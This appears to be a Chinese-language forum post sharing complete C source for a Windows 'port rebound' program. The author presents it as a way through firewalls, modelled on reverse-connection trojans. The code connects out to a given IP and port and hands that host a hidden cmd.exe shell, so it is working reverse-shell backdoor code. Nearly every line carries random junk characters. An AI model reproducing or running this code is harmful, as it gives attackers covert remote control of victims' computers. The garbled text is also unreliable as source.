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Windows下端口反弹

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这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 [gns8F#H\  
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/* ============================== r{2].31'  
Rebound port in Windows NT V52C,]qQH  
By wind,2006/7 l8AEEG8>  
===============================*/ ZIL| .<8I  
#include QT= ,En  
#include .0fh>kQ  
hB}h-i(u  
#pragma comment(lib,"wsock32.lib") R~5* #r@f  
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void OutputShell(); FJ(B]n[>  
SOCKET sClient; 3JZWhxkf[$  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; {+ 6D-rDw  
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void main(int argc,char **argv) PSf5p\<5  
{ 71/m.w  
WSADATA stWsaData; @-&(TRbZo  
int nRet; wAl}:|+n  
SOCKADDR_IN stSaiClient,stSaiServer; uGUv~bE  
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if(argc != 3) Cq*}b4^;  
{ ^*x Hy`  
printf("Useage:\n\rRebound DestIP DestPort\n"); M|({ 4C  
return; %w8GGm8^/  
} 9ze|s^  
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WSAStartup(MAKEWORD(2,2),&stWsaData); G>w?9:V}  
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); ^2C /!Y<  
\9(- /rE  
stSaiClient.sin_family = AF_INET; ta4JWllf  
stSaiClient.sin_port = htons(0); 4`U0">gY  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); 24jtJC,7  
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) {`H<=h__  
{ 95^i/6Gl!P  
printf("Bind Socket Failed!\n"); Gkv~e?Kc~^  
return; T4~`e_  
} Q1nDl  
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stSaiServer.sin_family = AF_INET; WfDX"rA  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); a\{1UD  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); P wB g  
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) "<w2v'6S  
{ M. )}e7  
printf("Connect Error!"); ~3bZ+*H>  
return; h^A3 0f_x  
} pFJQ7Jlx  
OutputShell(); )jlP cO-  
} x9)aBB  
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void OutputShell() k]Alp;hVd  
{ mGe|8In  
char szBuff[1024]; GjeUUmr  
SECURITY_ATTRIBUTES stSecurityAttributes; 9:%n=URd  
OSVERSIONINFO stOsversionInfo; 7k] RO  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; (/SGT$#8  
STARTUPINFO stStartupInfo; e`Co,>W/  
char *szShell; ss`P QN  
PROCESS_INFORMATION stProcessInformation; -*|:v67C&  
unsigned long lBytesRead; /BMtcCPG!  
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); `s`C{|wv  
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); )_77>f%  
stSecurityAttributes.lpSecurityDescriptor = 0; Pknc[h},  
stSecurityAttributes.bInheritHandle = TRUE; |As2"1_f  
bR`rT4.F  
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); iz Ph1YA  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); w{3Q( =&  
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); W}XYmF*_?  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; `l>93A  
stStartupInfo.wShowWindow = SW_HIDE; b4Cfd?'  
stStartupInfo.hStdInput = hReadPipe; d /B'[Ur  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; o3n3URu\  
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GetVersionEx(&stOsversionInfo); $s-9|Lbs`  
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switch(stOsversionInfo.dwPlatformId) v<;: 0  
{ hojHbmm4  
case 1: |e*GzD  
szShell = "command.com"; =2 &hQd   
break; l#D-q/k?  
default: z wL3,!t  
szShell = "cmd.exe"; M[aT2A  
break; 7L=T]W  
} Ys-Keyg  
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); FXx.$W  
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send(sClient,szMsg,77,0); JbE?a[Eg?  
while(1) )n7|?@5U  
{ |l|_dn  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); 8p (!]^z  
if(lBytesRead) fokwW}>B[f  
{ i`prv&  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); 2Co@+I[,4&  
send(sClient,szBuff,lBytesRead,0); NJ ZXs_%>$  
} n6b3E *  
else [@m[V1D  
{ F`!TV(,bY  
lBytesRead=recv(sClient,szBuff,1024,0); c[SU5 66y  
if(lBytesRead<=0) break; HWqLcQ d:P  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); [tUv*jw%  
} "JkZJ#  
} ZCm1+Y$  
L@w0N)P<!{  
return; )`w=qCn1Y  
}
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